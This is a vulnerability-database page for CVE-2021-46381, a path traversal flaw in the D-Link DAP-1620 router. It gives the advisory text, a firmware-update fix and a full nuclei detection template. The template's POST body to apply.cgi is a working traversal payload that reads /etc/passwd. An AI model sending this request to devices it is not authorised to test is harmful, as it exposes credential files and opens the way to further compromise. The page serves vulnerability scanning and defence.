HexBrain

Browse / CVEs / CVE-2021-46381

CVE-2021-46381· dlink / dap-1620· CWE-22

D-Link DAP-1620 - Local File Inclusion

highseverity
7.5CVSS score
58.9%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it

D-Link DAP-1620 is susceptible to local file Inclusion due to path traversal that can lead to unauthorized internal files reading [/etc/passwd] and [/etc/shadow].

Impact

An attacker can exploit this vulnerability to access sensitive information, such as configuration files or credentials, leading to further compromise of the device or network.

Fix

Apply the latest firmware update provided by D-Link to fix the local file inclusion vulnerability.

How to confirm it

Send: POST {{BaseURL}}/apply.cgi
Positive when: matches /root:.*:0:0:/

Run it with nuclei: nuclei -id CVE-2021-46381 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2021-46381

info:
  name: D-Link DAP-1620 - Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: D-Link DAP-1620 is susceptible to local file Inclusion due to path traversal that can  lead to unauthorized internal files reading [/etc/passwd] and [/etc/shadow].
  impact: |
    An attacker can exploit this vulnerability to access sensitive information, such as configuration files or credentials, leading to further compromise of the device or network.
  remediation: |
    Apply the latest firmware update provided by D-Link to fix the local file inclusion vulnerability.
  reference:
    - https://drive.google.com/drive/folders/19OP09msw8l7CJ622nkvnvnt7EKun1eCG?usp=sharing
    - https://www.dlink.com/en/security-bulletin/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-46381
    - http://packetstormsecurity.com/files/167070/DLINK-DAP-1620-A1-1.01-Directory-Traversal.html
    - https://github.com/SYRTI/POC_to_review
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-46381
    cwe-id: CWE-22
    epss-score: 0.58882
    epss-percentile: 0.99118
    cpe: cpe:2.3:h:dlink:dap-1620:-:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: dlink
    product: dap-1620
  tags: cve2021,cve,lfi,router,packetstorm,dlink,vkev,vuln

http:
  - method: POST
    path:
      - "{{BaseURL}}/apply.cgi"

    body: "action=do_graph_auth&graph_code=94102&html_response_message=just_login&html_response_page=../../../../../../../../../../../../../../etc/passwd&log_pass=DummyPass&login_n=admin&login_name=DummyName&tkn=634855349&tmp_log_pass=DummyPass&tmp_log_pass_auth=DummyPass"
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

References

Use this check only on systems you are authorised to test. Where the data comes from